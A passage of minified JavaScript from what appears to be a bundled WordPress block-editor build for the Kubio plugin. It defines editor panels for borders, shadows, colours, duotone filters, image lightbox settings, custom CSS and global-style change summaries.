t?"var:preset|color|"+t.slug:e},v=(0,u.useMemo)((()=>{var e,t;if((0,ne.__experimentalHasSplitBorders)(null==o?void 0:o.border)){const e={...null==o?void 0:o.border};return["top","right","bottom","left"].forEach((t=>{var n;e[t]={...e[t],color:f(null===(n=e[t])||void 0===n?void 0:n.color)}})),e}return{...null==o?void 0:o.border,color:null!=o&&null!==(e=o.border)&&void 0!==e&&e.color?f(null==o||null===(t=o.border)||void 0===t?void 0:t.color):void 0}}),[null==o?void 0:o.border,f]),b=e=>n({...t,border:e}),k=TT(i),_=MT(i),y=RT(i),x=PT(i),S=f(null==v?void 0:v.radius),w=e=>b({...v,radius:e}),C=()=>{var e;const n=null==t||null===(e=t.border)||void 0===e?void 0:e.radius;return"object"==typeof n?Object.entries(n).some(Boolean):!!n},B=NT(i),I=f(null==o?void 0:o.shadow),j=null!==(a=null==i||null===(c=i.shadow)||void 0===c?void 0:c.presets)&&void 0!==a?a:{},E=null!==(d=null!==(p=null!==(h=j.custom)&&void 0!==h?h:j.theme)&&void 0!==p?p:j.default)&&void 0!==d?d:[],T=e=>{var o;const i=null==E||null===(o=E.find((({shadow:t})=>t===e)))||void 0===o?void 0:o.slug;n(Ht(t,["shadow"],i?`var:preset|shadow|${i}`:e||void 0))},P=(0,u.useCallback)((e=>({...e,border:void 0,shadow:void 0})),[]),M=(null==s?void 0:s.color)||(null==s?void 0:s.width),R=k||_||y||x,N=TP({blockName:l,hasShadowControl:B,hasBorderControl:R});return(0,Nt.jsxs)(e,{resetAllFilter:P,value:t,onChange:n,panelId:r,label:N,children:[(y||k)&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{hasValue:()=>(0,ne.__experimentalIsDefinedBorder)(null==t?void 0:t.border),label:(0,Je.__)("Border","kubio"),onDeselect:()=>(()=>{var e;if(C())return b({radius:null==t||null===(e=t.border)||void 0===e?void 0:e.radius});b(void 0)})(),isShownByDefault:M,panelId:r,children:(0,Nt.jsx)(IT,{colors:g,enableAlpha:!0,enableStyle:_,onChange:e=>{const t={...e};(0,ne.__experimentalHasSplitBorders)(t)?["top","right","bottom","left"].forEach((e=>{var n;t[e]&&(t[e]={...t[e],color:m(null===(n=t[e])||void 0===n?void 0:n.color)})})):t&&(t.color=m(t.color)),b({radius:null==v?void 0:v.radius,...t})},popoverOffset:40,popoverPlacement:"left-start",value:v,__experimentalIsRenderedInSidebar:!0,size:"__unstable-large",hideLabelFromVision:!B,label:(0,Je.__)("Border","kubio")})}),x&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{hasValue:C,label:(0,Je.__)("Radius","kubio"),onDeselect:()=>w(void 0),isShownByDefault:s.radius,panelId:r,children:(0,Nt.jsx)(HS,{values:S,onChange:e=>{w(e||void 0)}})}),B&&(0,Nt.jsxs)(ne.__experimentalToolsPanelItem,{label:(0,Je.__)("Shadow","kubio"),hasValue:()=>!(null==t||!t.shadow),onDeselect:()=>T(void 0),isShownByDefault:s.shadow,panelId:r,children:[R?(0,Nt.jsx)(ne.BaseControl.VisualLabel,{as:"legend",children:(0,Je.__)("Shadow","kubio")}):null,(0,Nt.jsx)(ne.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,children:(0,Nt.jsx)(wT,{shadow:I,onShadowChange:T,settings:i})})]})]})}function OT(e){const t=zT(e),n=$T(e),o=FT(e),i=HT(e),r=GT(e),l=VT(e);return t||n||o||i||r||l}function zT(e){var t,n;const o=Lj(e);return(null==e||null===(t=e.color)||void 0===t?void 0:t.text)&&((null==o?void 0:o.length)>0||(null==e||null===(n=e.color)||void 0===n?void 0:n.custom))}function FT(e){var t,n;const o=Lj(e);return(null==e||null===(t=e.color)||void 0===t?void 0:t.link)&&((null==o?void 0:o.length)>0||(null==e||null===(n=e.color)||void 0===n?void 0:n.custom))}function VT(e){var t,n;const o=Lj(e);return(null==e||null===(t=e.color)||void 0===t?void 0:t.caption)&&((null==o?void 0:o.length)>0||(null==e||null===(n=e.color)||void 0===n?void 0:n.custom))}function HT(e){var t,n,o;const i=Lj(e),r=Dj(e);return(null==e||null===(t=e.color)||void 0===t?void 0:t.heading)&&((null==i?void 0:i.length)>0||(null==e||null===(n=e.color)||void 0===n?void 0:n.custom)||(null==r?void 0:r.length)>0||(null==e||null===(o=e.color)||void 0===o?void 0:o.customGradient))}function GT(e){var t,n,o;const i=Lj(e),r=Dj(e);return(null==e||null===(t=e.color)||void 0===t?void 0:t.button)&&((null==i?void 0:i.length)>0||(null==e||null===(n=e.color)||void 0===n?void 0:n.custom)||(null==r?void 0:r.length)>0||(null==e||null===(o=e.color)||void 0===o?void 0:o.customGradient))}function $T(e){var t,n,o;const i=Lj(e),r=Dj(e);return(null==e||null===(t=e.color)||void 0===t?void 0:t.background)&&((null==i?void 0:i.length)>0||(null==e||null===(n=e.color)||void 0===n?void 0:n.custom)||(null==r?void 0:r.length)>0||(null==e||null===(o=e.color)||void 0===o?void 0:o.customGradient))}function UT({resetAllFilter:e,onChange:t,value:n,panelId:o,children:i}){return(0,Nt.jsx)(ne.__experimentalToolsPanel,{label:(0,Je.__)("Elements","kubio"),resetAll:()=>{const o=e(n);t(o)},panelId:o,hasInnerWrapper:!0,headingLevel:3,className:"color-block-support-panel",__experimentalFirstVisibleItemClass:"first",__experimentalLastVisibleItemClass:"last",children:(0,Nt.jsx)("div",{className:"color-block-support-panel__inner-wrapper",children:i})})}const WT={text:!0,background:!0,link:!0,heading:!0,button:!0,caption:!0},KT={placement:"left-start",offset:36,shift:!0},{Tabs:ZT}=ge(ne.privateApis),qT=({indicators:e,label:t})=>(0,Nt.jsxs)(ne.__experimentalHStack,{justify:"flex-start",children:[(0,Nt.jsx)(ne.__experimentalZStack,{isLayered:!1,offset:-8,children:e.map(((e,t)=>(0,Nt.jsx)(ne.Flex,{expanded:!1,children:(0,Nt.jsx)(ne.ColorIndicator,{colorValue:e})},t)))}),(0,Nt.jsx)(ne.FlexItem,{className:"block-editor-panel-color-gradient-settings__color-name",children:t})]});function YT({isGradient:e,inheritedValue:t,userValue:n,setValue:o,colorGradientControlSettings:i}){return(0,Nt.jsx)(YS,{...i,showTitle:!1,enableAlpha:!0,__experimentalIsRenderedInSidebar:!0,colorValue:e?void 0:t,gradientValue:e?t:void 0,onColorChange:e?void 0:o,onGradientChange:e?o:void 0,clearable:t===n,headingLevel:3})}function XT({label:e,hasValue:t,resetValue:n,isShownByDefault:o,indicators:i,tabs:r,colorGradientControlSettings:l,panelId:s}){var a;const c=r.find((e=>void 0!==e.userValue)),{key:d,...p}=null!==(a=r[0])&&void 0!==a?a:{},h=(0,u.useRef)(void 0);return(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{className:"block-editor-tools-panel-color-gradient-settings__item",hasValue:t,label:e,onDeselect:n,isShownByDefault:o,panelId:s,children:(0,Nt.jsx)(ne.Dropdown,{popoverProps:KT,className:"block-editor-tools-panel-color-gradient-settings__dropdown",renderToggle:({onToggle:o,isOpen:r})=>{const l={onClick:o,className:ms("block-editor-panel-color-gradient-settings__dropdown",{"is-open":r}),"aria-expanded":r,ref:h};return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.Button,{...l,__next40pxDefaultSize:!0,children:(0,Nt.jsx)(qT,{indicators:i,label:e})}),t()&&(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,label:(0,Je.__)("Reset","kubio"),className:"block-editor-panel-color-gradient-settings__reset",size:"small",icon:hw,onClick:()=>{var e;n(),r&&o(),null===(e=h.current)||void 0===e||e.focus()}})]})},renderContent:()=>(0,Nt.jsx)(ne.__experimentalDropdownContentWrapper,{paddingSize:"none",children:(0,Nt.jsxs)("div",{className:"block-editor-panel-color-gradient-settings__dropdown-content",children:[1===r.length&&(0,Nt.jsx)(YT,{...p,colorGradientControlSettings:l},d),r.length>1&&(0,Nt.jsxs)(ZT,{defaultTabId:null==c?void 0:c.key,children:[(0,Nt.jsx)(ZT.TabList,{children:r.map((e=>(0,Nt.jsx)(ZT.Tab,{tabId:e.key,children:e.label},e.key)))}),r.map((e=>{const{key:t,...n}=e;return(0,Nt.jsx)(ZT.TabPanel,{tabId:t,focusable:!1,children:(0,Nt.jsx)(YT,{...n,colorGradientControlSettings:l},t)},t)}))]})]})})})})}function QT({as:e=UT,value:t,onChange:n,inheritedValue:o=t,settings:i,panelId:r,defaultControls:l=WT,children:s}){var a,c,d,p,h,g,f,m,v,b,k,_,y,x,S,w,C,B,I,j,E,T;const P=Lj(i),M=Dj(i),R=null==i||null===(a=i.color)||void 0===a?void 0:a.custom,N=null==i||null===(c=i.color)||void 0===c?void 0:c.customGradient,A=P.length>0||R,L=M.length>0||N,D=e=>Bj({settings:i},"",e),O=e=>{const t=P.flatMap((({colors:e})=>e)).find((({color:t})=>t===e));return t?"var:preset|color|"+t.slug:e},z=e=>{const t=M.flatMap((({gradients:e})=>e)).find((({gradient:t})=>t===e));return t?"var:preset|gradient|"+t.slug:e},F=$T(i),V=D(null==o||null===(d=o.color)||void 0===d?void 0:d.background),H=D(null==t||null===(p=t.color)||void 0===p?void 0:p.background),G=D(null==o||null===(h=o.color)||void 0===h?void 0:h.gradient),$=D(null==t||null===(g=t.color)||void 0===g?void 0:g.gradient),U=FT(i),W=D(null==o||null===(f=o.elements)||void 0===f||null===(m=f.link)||void 0===m||null===(v=m.color)||void 0===v?void 0:v.text),K=D(null==t||null===(b=t.elements)||void 0===b||null===(k=b.link)||void 0===k||null===(_=k.color)||void 0===_?void 0:_.text),Z=D(null==o||null===(y=o.elements)||void 0===y||null===(x=y.link)||void 0===x||null===(S=x[":hover"])||void 0===S||null===(w=S.color)||void 0===w?void 0:w.text),q=D(null==t||null===(C=t.elements)||void 0===C||null===(B=C.link)||void 0===B||null===(I=B[":hover"])||void 0===I||null===(j=I.color)||void 0===j?void 0:j.text),Y=zT(i),X=D(null==o||null===(E=o.color)||void 0===E?void 0:E.text),Q=D(null==t||null===(T=t.color)||void 0===T?void 0:T.text),J=e=>{let o=Ht(t,["color","text"],O(e));X===W&&(o=Ht(o,["elements","link","color","text"],O(e))),n(o)},ee=[{name:"caption",label:(0,Je.__)("Captions","kubio"),showPanel:VT(i)},{name:"button",label:(0,Je.__)("Button","kubio"),showPanel:GT(i)},{name:"heading",label:(0,Je.__)("Heading","kubio"),showPanel:HT(i)},{name:"h1",label:(0,Je.__)("H1","kubio"),showPanel:HT(i)},{name:"h2",label:(0,Je.__)("H2","kubio"),showPanel:HT(i)},{name:"h3",label:(0,Je.__)("H3","kubio"),showPanel:HT(i)},{name:"h4",label:(0,Je.__)("H4","kubio"),showPanel:HT(i)},{name:"h5",label:(0,Je.__)("H5","kubio"),showPanel:HT(i)},{name:"h6",label:(0,Je.__)("H6","kubio"),showPanel:HT(i)}],te=(0,u.useCallback)((e=>{var t;return{...e,color:void 0,elements:{...null==e?void 0:e.elements,link:{...null==e||null===(t=e.elements)||void 0===t?void 0:t.link,color:void 0,":hover":{color:void 0}},...ee.reduce(((t,n)=>{var o;return{...t,[n.name]:{...null==e||null===(o=e.elements)||void 0===o?void 0:o[n.name],color:void 0}}}),{})}}}),[]),ne=[Y&&{key:"text",label:(0,Je.__)("Text","kubio"),hasValue:()=>!!Q,resetValue:()=>J(void 0),isShownByDefault:l.text,indicators:[X],tabs:[{key:"text",label:(0,Je.__)("Text","kubio"),inheritedValue:X,setValue:J,userValue:Q}]},F&&{key:"background",label:(0,Je.__)("Background","kubio"),hasValue:()=>!!H||!!$,resetValue:()=>{const e=Ht(t,["color","background"],void 0);e.color.gradient=void 0,n(e)},isShownByDefault:l.background,indicators:[null!=G?G:V],tabs:[A&&{key:"background",label:(0,Je.__)("Color","kubio"),inheritedValue:V,setValue:e=>{const o=Ht(t,["color","background"],O(e));o.color.gradient=void 0,n(o)},userValue:H},L&&{key:"gradient",label:(0,Je.__)("Gradient","kubio"),inheritedValue:G,setValue:e=>{const o=Ht(t,["color","gradient"],z(e));o.color.background=void 0,n(o)},userValue:$,isGradient:!0}].filter(Boolean)},U&&{key:"link",label:(0,Je.__)("Link","kubio"),hasValue:()=>!!K||!!q,resetValue:()=>{let e=Ht(t,["elements","link",":hover","color","text"],void 0);e=Ht(e,["elements","link","color","text"],void 0),n(e)},isShownByDefault:l.link,indicators:[W,Z],tabs:[{key:"link",label:(0,Je.__)("Default","kubio"),inheritedValue:W,setValue:e=>{n(Ht(t,["elements","link","color","text"],O(e)))},userValue:K},{key:"hover",label:(0,Je.__)("Hover","kubio"),inheritedValue:Z,setValue:e=>{n(Ht(t,["elements","link",":hover","color","text"],O(e)))},userValue:q}]}].filter(Boolean);return ee.forEach((({name:e,label:i,showPanel:r})=>{var s,a,c,u,d,p,h,g,f,m,v,b,k,_,y,x,S,w;if(!r)return;const C=D(null==o||null===(s=o.elements)||void 0===s||null===(a=s[e])||void 0===a||null===(c=a.color)||void 0===c?void 0:c.background),B=D(null==o||null===(u=o.elements)||void 0===u||null===(d=u[e])||void 0===d||null===(p=d.color)||void 0===p?void 0:p.gradient),I=D(null==o||null===(h=o.elements)||void 0===h||null===(g=h[e])||void 0===g||null===(f=g.color)||void 0===f?void 0:f.text),j=D(null==t||null===(m=t.elements)||void 0===m||null===(v=m[e])||void 0===v||null===(b=v.color)||void 0===b?void 0:b.background),E=D(null==t||null===(k=t.elements)||void 0===k||null===(_=k[e])||void 0===_||null===(y=_.color)||void 0===y?void 0:y.gradient),T=D(null==t||null===(x=t.elements)||void 0===x||null===(S=x[e])||void 0===S||null===(w=S.color)||void 0===w?void 0:w.text),P="caption"!==e;ne.push({key:e,label:i,hasValue:()=>!!(T||j||E),resetValue:()=>{const o=Ht(t,["elements",e,"color","background"],void 0);o.elements[e].color.gradient=void 0,o.elements[e].color.text=void 0,n(o)},isShownByDefault:l[e],indicators:P?[I,null!=B?B:C]:[I],tabs:[A&&{key:"text",label:(0,Je.__)("Text","kubio"),inheritedValue:I,setValue:o=>{n(Ht(t,["elements",e,"color","text"],O(o)))},userValue:T},A&&P&&{key:"background",label:(0,Je.__)("Background","kubio"),inheritedValue:C,setValue:o=>{const i=Ht(t,["elements",e,"color","background"],O(o));i.elements[e].color.gradient=void 0,n(i)},userValue:j},L&&P&&{key:"gradient",label:(0,Je.__)("Gradient","kubio"),inheritedValue:B,setValue:o=>{const i=Ht(t,["elements",e,"color","gradient"],z(o));i.elements[e].color.background=void 0,n(i)},userValue:E,isGradient:!0}].filter(Boolean)})})),(0,Nt.jsxs)(e,{resetAllFilter:te,value:t,onChange:n,panelId:r,children:[ne.map((e=>{const{key:t,...n}=e;return(0,Nt.jsx)(XT,{...n,colorGradientControlSettings:{colors:P,disableCustomColors:!R,gradients:M,disableCustomGradients:!N},panelId:r},t)})),s]})}const JT=[];function eP(e,{presetSetting:t,defaultSetting:n}){var o,i,r,l,s,a,c;const d=!(null!=e&&null!==(o=e.color)&&void 0!==o&&o[n]),p=(null==e||null===(i=e.color)||void 0===i||null===(r=i[t])||void 0===r?void 0:r.custom)||JT,h=(null==e||null===(l=e.color)||void 0===l||null===(s=l[t])||void 0===s?void 0:s.theme)||JT,g=(null==e||null===(a=e.color)||void 0===a||null===(c=a[t])||void 0===c?void 0:c.default)||JT;return(0,u.useMemo)((()=>[...p,...h,...d?JT:g]),[d,p,h,g])}function tP(e){return nP(e)}function nP(e){return e.color.customDuotone||e.color.defaultDuotone||e.color.duotone.length>0}function oP({resetAllFilter:e,onChange:t,value:n,panelId:o,children:i}){return(0,Nt.jsx)(ne.__experimentalToolsPanel,{label:(0,Je._x)("Filters","Name for applying graphical effects","kubio"),resetAll:()=>{const o=e(n);t(o)},panelId:o,children:i})}const iP={duotone:!0},rP={placement:"left-start",offset:36,shift:!0,className:"block-editor-duotone-control__popover",headerTitle:(0,Je.__)("Duotone","kubio")},lP=({indicator:e,label:t})=>(0,Nt.jsxs)(ne.__experimentalHStack,{justify:"flex-start",children:[(0,Nt.jsx)(ne.__experimentalZStack,{isLayered:!1,offset:-8,children:(0,Nt.jsx)(ne.Flex,{expanded:!1,children:"unset"!==e&&e?(0,Nt.jsx)(ne.DuotoneSwatch,{values:e}):(0,Nt.jsx)(ne.ColorIndicator,{className:"block-editor-duotone-control__unset-indicator"})})}),(0,Nt.jsx)(ne.FlexItem,{title:t,children:t})]}),sP=(e,t)=>({onToggle:n,isOpen:o})=>{const i=(0,u.useRef)(void 0),r={onClick:n,className:ms({"is-open":o}),"aria-expanded":o,ref:i},l={onClick:()=>{var e;o&&n(),t(),null===(e=i.current)||void 0===e||e.focus()},className:"block-editor-panel-duotone-settings__reset",label:(0,Je.__)("Reset","kubio")};return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,...r,children:(0,Nt.jsx)(lP,{indicator:e,label:(0,Je.__)("Duotone","kubio")})}),e&&(0,Nt.jsx)(ne.Button,{size:"small",icon:hw,...l})]})};function aP({as:e=oP,value:t,onChange:n,inheritedValue:o=t,settings:i,panelId:r,defaultControls:l=iP}){var s;const a=nP(i),c=eP(i,{presetSetting:"duotone",defaultSetting:"defaultDuotone"}),d=eP(i,{presetSetting:"palette",defaultSetting:"defaultPalette"}),p=Bj({settings:i},"",null==o||null===(s=o.filter)||void 0===s?void 0:s.duotone);const h=e=>{const o=c.find((({colors:t})=>t===e)),i=o?`var:preset|duotone|${o.slug}`:e;n(Ht(t,["filter","duotone"],i))},g=()=>h(void 0),f=(0,u.useCallback)((e=>({...e,filter:{...e.filter,duotone:void 0}})),[]);return(0,Nt.jsx)(e,{resetAllFilter:f,value:t,onChange:n,panelId:r,children:a&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{label:(0,Je.__)("Duotone","kubio"),hasValue:()=>{var e;return!(null==t||null===(e=t.filter)||void 0===e||!e.duotone)},onDeselect:g,isShownByDefault:l.duotone,panelId:r,children:(0,Nt.jsx)(ne.Dropdown,{popoverProps:rP,className:"block-editor-global-styles-filters-panel__dropdown",renderToggle:sP(p,g),renderContent:()=>(0,Nt.jsx)(ne.__experimentalDropdownContentWrapper,{paddingSize:"small",children:(0,Nt.jsxs)(ne.MenuGroup,{label:(0,Je.__)("Duotone","kubio"),children:[(0,Nt.jsx)("p",{children:(0,Je.__)("Create a two-tone color effect without losing your original image.","kubio")}),(0,Nt.jsx)(ne.DuotonePicker,{colorPalette:d,duotonePalette:c,disableCustomColors:!0,disableCustomDuotone:!0,value:p,onChange:h})]})})})})})}function cP(e,t,n){var o;return"core/image"===e&&(null==n||null===(o=n.lightbox)||void 0===o?void 0:o.allowEditing)||!(null==t||!t.lightbox)}function uP({onChange:e,value:t,inheritedValue:n,panelId:o}){var i;const r=()=>{e(void 0)};let l=!1;return null!=n&&null!==(i=n.lightbox)&&void 0!==i&&i.enabled&&(l=n.lightbox.enabled),(0,Nt.jsx)(Nt.Fragment,{children:(0,Nt.jsx)(ne.__experimentalToolsPanel,{label:(0,Je._x)("Settings","Image settings","kubio"),resetAll:r,panelId:o,children:(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{hasValue:()=>!(null==t||!t.lightbox),label:(0,Je.__)("Enlarge on click","kubio"),onDeselect:r,isShownByDefault:!0,panelId:o,children:(0,Nt.jsx)(ne.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Enlarge on click","kubio"),checked:l,onChange:t=>{e({enabled:t})}})})})})}function dP({value:e,onChange:t,inheritedValue:n=e}){const[o,i]=(0,u.useState)(null),r=null==n?void 0:n.css;return(0,Nt.jsxs)(ne.__experimentalVStack,{spacing:3,children:[o&&(0,Nt.jsx)(ne.Notice,{status:"error",onRemove:()=>i(null),children:o}),(0,Nt.jsx)(ne.TextareaControl,{label:(0,Je.__)("Additional CSS"),__nextHasNoMarginBottom:!0,value:r,onChange:n=>function(n){if(t({...e,css:n}),o){const[e]=Re([{css:n}],".for-validation-only");e&&i(null)}}(n),onBlur:function(e){var t;if(null==e||null===(t=e.target)||void 0===t||!t.value)return void i(null);const[n]=Re([{css:e.target.value}],".for-validation-only");i(null===n?(0,Je.__)("There is an error with your CSS structure."):null)},className:"block-editor-global-styles-advanced-panel__custom-css-input",spellCheck:!1})]})}const pP=new Map,hP=[],gP={caption:(0,Je.__)("Caption"),link:(0,Je.__)("Link"),button:(0,Je.__)("Button"),heading:(0,Je.__)("Heading"),h1:(0,Je.__)("H1"),h2:(0,Je.__)("H2"),h3:(0,Je.__)("H3"),h4:(0,Je.__)("H4"),h5:(0,Je.__)("H5"),h6:(0,Je.__)("H6"),"settings.color":(0,Je.__)("Color"),"settings.typography":(0,Je.__)("Typography"),"styles.color":(0,Je.__)("Colors"),"styles.spacing":(0,Je.__)("Spacing"),"styles.background":(0,Je.__)("Background"),"styles.typography":(0,Je.__)("Typography")},fP=gg()((()=>(0,c.getBlockTypes)().reduce(((e,{name:t,title:n})=>(e[t]=n,e)),{}))),mP=e=>null!==e&&"object"==typeof e;function vP(e,t,n=""){if(!mP(e)&&!mP(t))return e!==t?n.split(".").slice(0,2).join("."):void 0;e=mP(e)?e:{},t=mP(t)?t:{};const o=new Set([...Object.keys(e),...Object.keys(t)]);let i=[];for(const r of o){const o=n?n+"."+r:r,l=vP(e[r],t[r],o);l&&(i=i.concat(l))}return i}function bP(e,t){var n,o,i,r,l,s,a,c,u,d,p,h;const g=JSON.stringify({next:e,previous:t});if(pP.has(g))return pP.get(g);const f=vP({styles:{background:null==e||null===(n=e.styles)||void 0===n?void 0:n.background,color:null==e||null===(o=e.styles)||void 0===o?void 0:o.color,typography:null==e||null===(i=e.styles)||void 0===i?void 0:i.typography,spacing:null==e||null===(r=e.styles)||void 0===r?void 0:r.spacing},blocks:null==e||null===(l=e.styles)||void 0===l?void 0:l.blocks,elements:null==e||null===(s=e.styles)||void 0===s?void 0:s.elements,settings:null==e?void 0:e.settings},{styles:{background:null==t||null===(a=t.styles)||void 0===a?void 0:a.background,color:null==t||null===(c=t.styles)||void 0===c?void 0:c.color,typography:null==t||null===(u=t.styles)||void 0===u?void 0:u.typography,spacing:null==t||null===(d=t.styles)||void 0===d?void 0:d.spacing},blocks:null==t||null===(p=t.styles)||void 0===p?void 0:p.blocks,elements:null==t||null===(h=t.styles)||void 0===h?void 0:h.elements,settings:null==t?void 0:t.settings});if(!f.length)return pP.set(g,hP),hP;const m=[...new Set(f)].reduce(((e,t)=>{const n=function(e){if(gP[e])return gP[e];const t=e.split(".");var n;return"blocks"===(null==t?void 0:t[0])?(null===(n=fP())||void 0===n?void 0:n[t[1]])||t[1]:"elements"===(null==t?void 0:t[0])?gP[t[1]]||t[1]:void 0}(t);return n&&e.push([t.split(".")[0],n]),e}),[]);return pP.set(g,m),m}function kP(e,t,n={}){let o=bP(e,t);const i=o.length,{maxResults:r}=n;return i?(r&&i>r&&(o=o.slice(0,r)),Object.entries(o.reduce(((e,t)=>{const n=e[t[0]]||[];return n.includes(t[1])||(e[t[0]]=[...n,t[1]]),e}),{})).map((([e,t])=>{const n=t.length,o=t.join(/* translators: Used between list items, there is a space after the comma. */ /* translators: Used between list items, there is a space after the comma. */(0,Je.__)(", "));switch(e){case"blocks":return(0,Je.sprintf)(// translators: %s: a list of block names separated by a comma. // translators: %s: a list of block names separated by a comma. (0,Je._n)("%s block.","%s blocks.",n),o);case"elements":return(0,Je.sprintf)(// translators: %s: a list of element names separated by a comma. // translators: %s: a list of element names separated by a comma. (0,Je._n)("%s element.","%s elements.",n),o);case"settings":return(0,Je.sprintf)(// translators: %s: a list of theme.json setting labels separated by a comma. // translators: %s: a list of theme.json setting labels separated by a comma. (0,Je.__)("%s settings."),o);case"styles":return(0,Je.sprintf)(// translators: %s: a list of theme.json top-level styles labels separated by a comma. // translators: %s: a list of theme.json top-level styles labels separated by a comma. (0,Je.__)("%s styles."),o);default:return(0,Je.sprintf)(// translators: %s: a list of global styles changes separated by a comma. // translators: %s: a list of global styles changes separated by a comma. (0,Je.__)("%s."),o)}}))):hP}const _P="__experimentalBorder",yP="shadow",xP=(e,t,n)=>{let o;return e.some((e=>e.colors.some((e=>e[t]===n&&(o=e,!0))))),o},SP=({colors:e,namedColor:t,customColor:n})=>{if(t){const n=xP(e,"slug",t);if(n)return n}if(!n)return{color:void 0};return xP(e,"color",n)||{color:n}};function wP(e){const t=/var:preset\|color\|(.+)/.exec(e);return t&&t[1]?t[1]:null}function CP(e){var t;if((0,ne.__experimentalHasSplitBorders)(null==e?void 0:e.border))return{style:e,borderColor:void 0};const n=null==e||null===(t=e.border)||void 0===t?void 0:t.color,o=null!=n&&n.startsWith("var:preset|color|")?n.substring(17):void 0,i={...e};return i.border={...i.border,color:o?void 0:n},{style:AM(i),borderColor:o}}function BP(e){var t,n,o,i;return(0,ne.__experimentalHasSplitBorders)(null===(t=e.style)||void 0===t?void 0:t.border)?e.style:{...e.style,border:{...null===(n=e.style)||void 0===n?void 0:n.border,color:e.borderColor?"var:preset|color|"+e.borderColor:null===(o=e.style)||void 0===o||null===(i=o.border)||void 0===i?void 0:i.color}}}function IP({label:e,children:t,resetAllFilter:n}){const o=(0,u.useCallback)((e=>{const t=BP(e),o=n(t);return{...e,...CP(o)}}),[n]);return(0,Nt.jsx)(Tk,{group:"border",resetAllFilter:o,label:e,children:t})}function jP({clientId:e,name:t,setAttributes:n,settings:o}){const i=jT(o),{style:r,borderColor:l}=(0,d.useSelect)((function(t){const{style:n,borderColor:o}=t(hs).getBlockAttributes(e)||{};return{style:n,borderColor:o}}),[e]),s=(0,u.useMemo)((()=>BP({style:r,borderColor:l})),[r,l]);if(!i)return null;const a={...(0,c.getBlockSupport)(t,[_P,"__experimentalDefaultControls"]),...(0,c.getBlockSupport)(t,[yP,"__experimentalDefaultControls"])};return(0,Nt.jsx)(DT,{as:IP,panelId:e,settings:o,value:s,onChange:e=>{n(CP(e))},defaultControls:a})}function EP(e,t="any"){if("web"!==u.Platform.OS)return!1;const n=(0,c.getBlockSupport)(e,_P);return!!(!0===n||("any"===t?null!=n&&n.color||null!=n&&n.radius||null!=n&&n.width||null!=n&&n.style:null!=n&&n[t]))}function TP({blockName:e,hasBorderControl:t,hasShadowControl:n}={}){const o=ET(VM(e));return t||n||!e||(t=(null==o?void 0:o.hasBorderColor)||(null==o?void 0:o.hasBorderStyle)||(null==o?void 0:o.hasBorderWidth)||(null==o?void 0:o.hasBorderRadius),n=null==o?void 0:o.hasShadow),t&&n?(0,Je.__)("Border & Shadow","kubio"):n?(0,Je.__)("Shadow","kubio"):(0,Je.__)("Border","kubio")}function PP(e,t,n){if(!EP(t,"color")||DM(t,_P,"color"))return e;const o=MP(n),i=ms(e.className,o);return e.className=i||void 0,e}function MP(e){var t;const{borderColor:n,style:o}=e,i=Fs("border-color",n);return ms({"has-border-color":n||(null==o||null===(t=o.border)||void 0===t?void 0:t.color),[i]:!!i})}const RP={useBlockProps:function({name:e,borderColor:t,style:n}){var o,i,r,l,s,a,c,u;const{colors:d}=Pw();if(!EP(e,"color")||DM(e,_P,"color"))return{};const{color:p}=SP({colors:d,namedColor:t}),{color:h}=SP({colors:d,namedColor:wP(null==n||null===(o=n.border)||void 0===o||null===(i=o.top)||void 0===i?void 0:i.color)}),{color:g}=SP({colors:d,namedColor:wP(null==n||null===(r=n.border)||void 0===r||null===(l=r.right)||void 0===l?void 0:l.color)}),{color:f}=SP({colors:d,namedColor:wP(null==n||null===(s=n.border)||void 0===s||null===(a=s.bottom)||void 0===a?void 0:a.color)}),{color:m}=SP({colors:d,namedColor:wP(null==n||null===(c=n.border)||void 0===c||null===(u=c.left)||void 0===u?void 0:u.color)});return PP({style:AM({borderTopColor:h||p,borderRightColor:g||p,borderBottomColor:f||p,borderLeftColor:m||p})||{}},e,{borderColor:t,style:n})},addSaveProps:PP,attributeKeys:["borderColor","style"],hasSupport:e=>EP(e,"color")};(0,h.addFilter)("blocks.registerBlockType","core/border/addAttributes",(function(e){return EP(e,"color")?e.attributes.borderColor?e:{...e,attributes:{...e.attributes,borderColor:{type:"string"}}}:e}));const{createPrivateSlotFill:NP}=ge(ne.privateApis||{});let AP;AP=NP?NP("BlockInformation"):(0,ne.createSlotFill)("BlockInformation");const{Fill:LP,Slot:DP}=AP,OP=e=>S()[g]?(0,Nt.jsx)(LP,{...e}):null;OP.Slot=e=>(0,Nt.jsx)(DP,{...e});const zP=OP;function FP({clientIds:e,onSelect:t}){return e.length?(0,Nt.jsx)(ne.__experimentalVStack,{spacing:1,children:e.map((e=>(0,Nt.jsx)(VP,{onSelect:t,clientId:e},e)))}):null}function VP({clientId:e,onSelect:t}){const n=Pk(e),o=pd({clientId:e,context:"list-view"}),{isSelected:i}=(0,d.useSelect)((t=>{const{isBlockSelected:n,hasSelectedInnerBlock:o}=t(hs);return{isSelected:n(e)||o(e,!0)}}),[e]),{selectBlock:r}=(0,d.useDispatch)(hs);return(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,isPressed:i,onClick:async()=>{await r(e),t&&t(e)},children:(0,Nt.jsxs)(ne.Flex,{children:[(0,Nt.jsx)(ne.FlexItem,{children:(0,Nt.jsx)(Fa,{icon:null==n?void 0:n.icon})}),(0,Nt.jsx)(ne.FlexBlock,{style:{textAlign:"left"},children:(0,Nt.jsx)(ne.__experimentalTruncate,{children:o})})]})})}function HP({blockName:e}){const{preferredStyle:t,onUpdatePreferredStyleVariations:n,styles:o}=(0,d.useSelect)((t=>{var n,o;const i=t(hs).getSettings().__experimentalPreferredStyleVariations;return{preferredStyle:null==i||null===(n=i.value)||void 0===n?void 0:n[e],onUpdatePreferredStyleVariations:null!==(o=null==i?void 0:i.onChange)&&void 0!==o?o:null,styles:t(c.store).getBlockStyles(e)}}),[e]),i=(0,u.useMemo)((()=>[{label:(0,Je.__)("Not 